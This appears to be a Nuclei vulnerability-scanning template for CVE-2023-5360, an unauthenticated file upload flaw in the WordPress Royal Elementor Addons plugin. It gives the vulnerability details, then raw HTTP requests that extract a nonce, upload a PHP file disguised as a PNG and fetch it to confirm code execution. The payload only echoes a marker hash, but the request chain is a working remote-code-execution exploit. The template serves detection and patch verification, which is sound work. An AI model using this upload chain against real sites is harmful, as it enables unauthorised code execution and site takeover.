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id : CVE-2023-5360
info :
name : WordPress Royal Elementor Addons Plugin <= 1.3.78 - Arbitrary File Upload
author : theamanrawat
severity : critical
description : |
Arbitrary File Upload vulnerability in WordPress Royal Elementor Addons Plugin. This could allow a malicious actor to upload any type of file to your website. This can include backdoors which are then executed to gain further access to your website. This vulnerability has been fixed in version 1.3.79
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remediation : Fixed in 1.3.79
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reference :
- https://wordpress.org/plugins/royal-elementor-addons/
- https://wpscan.com/vulnerability/281518ff-7816-4007-b712-63aed7828b34/
- https://nvd.nist.gov/vuln/detail/CVE-2023-5360
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- https://wpscan.com/vulnerability/281518ff-7816-4007-b712-63aed7828b34
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- http://packetstormsecurity.com/files/175992/WordPress-Royal-Elementor-Addons-And-Templates-Remote-Shell-Upload.html
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classification :
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cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2023-5360
cwe-id : CWE-434
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epss-score : 0.96723
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epss-percentile : 0.99637
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cpe : cpe:2.3:a:royal-elementor-addons:royal_elementor_addons:*:*:*:*:*:wordpress:*:*
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metadata :
verified : "true"
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max-request : 3
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vendor : royal-elementor-addons
product : royal_elementor_addons
framework : wordpress
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publicwww-query : "/plugins/royal-elementor-addons/"
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tags : wpscan,packetstorm,cve,cve2023,rce,wordpress,wp-plugin,wp,royal-elementor-addons,unauth,intrusive
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variables :
file : "{{to_lower(rand_text_alpha(5))}}"
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http :
- raw :
- |
GET / HTTP/1.1
Host : {{Hostname}}
- |
POST /wp-admin/admin-ajax.php?action=wpr_addons_upload_file HTTP/1.1
Host : {{Hostname}}
Content-Type : multipart/form-data; boundary=---------------------------318949277012917151102295043236
-----------------------------318949277012917151102295043236
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Content-Disposition : form-data; name="uploaded_file"; filename="{{file}}.ph$p"
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Content-Type : image/png
<?php echo md5("CVE-2023-5360");?>
-----------------------------318949277012917151102295043236
Content-Disposition : form-data; name="allowed_file_types"
ph$p
-----------------------------318949277012917151102295043236
Content-Disposition : form-data; name="triggering_event"
click
-----------------------------318949277012917151102295043236
Content-Disposition : form-data; name="wpr_addons_nonce"
{{nonce}}
-----------------------------318949277012917151102295043236 --
- |
GET /wp-content/uploads/wpr-addons/forms/{{filename}}.php HTTP/1.1
Host : {{Hostname}}
matchers-condition : and
matchers :
- type : word
part : body_3
words :
- "86398d3a90432d24901a7bbdcf1ab2ba"
condition : and
- type : word
part : header_3
words :
- "text/html"
- type : status
status :
- 200
extractors :
- type : regex
name : nonce
part : body_1
group : 1
regex :
- 'WprConfig\s*=\s*{[^}]*"nonce"\s*:\s*"([^"]*)"'
internal : true
- type : regex
name : filename
part : body_2
group : 1
regex :
- 'wp-content\\\/uploads\\\/wpr-addons\\\/forms\\\/(.*?).php'
internal : true
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# digest: 4a0a00473045022058942ef07bcf45ed689629dec47cb5948deebabbecb3319b821112bc3e6a891a022100cc582739251f81091738f4d4be969f2005c4f4b94462585d59d708a8ba4aad2b:922c64590222798bb761d5b6d8e72950